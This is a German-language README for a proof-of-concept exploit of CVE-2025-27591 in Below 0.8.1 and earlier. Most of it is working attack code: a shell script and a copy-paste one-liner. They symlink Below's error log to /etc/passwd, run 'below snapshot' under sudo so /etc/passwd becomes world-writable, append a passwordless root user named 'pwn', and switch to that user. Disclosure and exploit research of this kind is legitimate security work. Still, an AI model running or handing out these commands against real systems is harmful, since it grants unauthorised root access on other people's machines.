Below - Lokale Privilegienausweitung (CVE-2025-27591)

Below <= v0.8.1
Lokale Privilegienausweitung über einen weltweit beschreibbaren Log-Symlink
PoC-Exploit

Einführung

Below-Versionen <= 0.8.1 enthalten eine kritische Schwachstelle zur lokalen Privilegienausweitung (CVE-2025-27591).
Aufgrund eines falsch konfigurierten, weltweit beschreibbaren Log-Verzeichnisses (/var/log/below/) und unsicherer Berechtigungslogik in der Rust-Codebasis kann ein lokaler Angreifer error_<user>.log als Symlink auf eine beliebige root-eigene Datei wie /etc/passwd zeigen lassen.

Wenn below snapshot mit sudo ausgeführt wird, setzt es zwangsweise den Modus 0666 auf die Log-Datei und schreibt in sie – selbst wenn es sich um einen Symlink handelt.
Dies ermöglicht das Einschleusen eines root-privilegierten Benutzers ohne Passwort, was vollen Root-Shell-Zugriff zur Folge hat.

Verwendung

git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh

ODER

Exploit-Code

# Title  : Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage  : usage: ./exploit.sh


u=$(id -un)
rm -f /var/log/below/error_"$u".log
ln -s /etc/passwd /var/log/below/error_"$u".log # symlink log file to /etc/passwd
export LOGS_DIRECTORY=/var/log/below
sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below chmods 0666 the symlink target and writes to it
echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # append pwn (root-priv) user entry  to /etc/passwd (now writable)
su pwn

Hinweis: exploit.sh wurde nach IppSecs Walkthrough zur README.md hinzugefügt, da er den One-Liner anstelle der exploit.sh verwendet hat. Ich dachte, das wäre für alle einfacher. Danke, IppSec. ^^

ODER

One-Liner - (Kopieren, einfügen und ausführen)

u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn

Umgebung

• Below <= v0.8.1
• Systemd-verwaltetes Linux (Ubuntu, Arch, Fedora, usw.)
• Benutzer in der sudo-Gruppe mit NOPASSWD-Zugriff auf /usr/bin/below *

Danksagungen

Entdeckt und gemeldet von Matthias Gerstner @ SUSE - Sicherheitshinweis
PoC-Exploit - Ravindu Wickramasinhge alias rvz